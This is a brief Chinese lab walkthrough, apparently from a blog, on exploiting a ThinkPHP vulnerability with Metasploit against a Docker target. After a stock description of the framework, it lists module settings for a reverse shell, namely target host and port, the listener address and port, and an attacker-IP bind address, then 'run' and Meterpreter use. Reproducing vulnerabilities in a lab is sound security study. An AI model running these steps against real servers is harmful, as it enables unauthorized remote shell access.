MSF复现Thinkphp漏洞

简介

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP5.0以上版本支持，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，ThinkPHP框架本身没有什么特别模块要求，具体的应用系统运行环境要求视开发所涉及的模块。 --百度百科

搭建环境

使用docker搭建

打开MSF工具

设置参数：

set rhosts  靶机IP
set rport    靶场端口

set LHOST  侦听地址

set LPORT  侦听端口

Exploit target: 默认Linux

set reverselistenerbindaddress 攻击机IP    #绑定反向侦听器地址

 run 

meterperter操作命令请参考：命令使用